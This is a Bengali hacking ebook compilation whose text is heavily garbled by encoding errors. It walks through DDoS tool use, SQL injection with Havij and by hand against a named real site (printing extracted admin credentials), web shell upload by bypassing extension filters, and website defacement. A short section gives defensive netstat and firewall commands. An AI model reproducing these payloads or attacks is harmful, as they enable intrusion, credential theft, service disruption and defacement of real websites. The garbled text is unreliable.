াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 5: Hacking Bangla eBook

যাকতকং অআকত চছনক গরতব ণব একটি কতফলয অজ অভযা অআকত িচছকব জানফ অন তাচছর শর কযা মাক অভা অআকত এচছে কতক

IP Address কতক এফং তায খটিনাটী

IP Address কতক IP Address ফা Internet ProtocolAddress র একটি ংখযাকতফচছল মা Network-এ মিপরকততটি Device-এয জনয কতনধবাকতযত মাযা Communication-এয জনয Internet Protocol ফযফায কচছয পরকততটি IP Address

র Unique অকতন মখন একটা কতনকতদব ি IP Addressফযফায কযচছছন তখন সটা অয সকউ ফযফায কযায মভফনা সনআ IP Address কতদচছযআ Network ফযফাযকাযীচছক নাি কযা যঅকতন সম Internet ServiceProvider-এয কাছ সথচছক Internetসফা াচছেন তাযা এআ IPAddress-এয ভাধযচছভআ অনাচছক অরাদাবাচছফ নািকযচছত াচছয

IP Address-এয কাজ কতক IP Address-এয ভরত দlsquoটি কাজ যচছযচছছ

1Host ফা Network Interface নািকযণ মাচছত অকতন ঠিকবাচছফ অনায কাকতিত Communication িনন কযচছত াচছযন

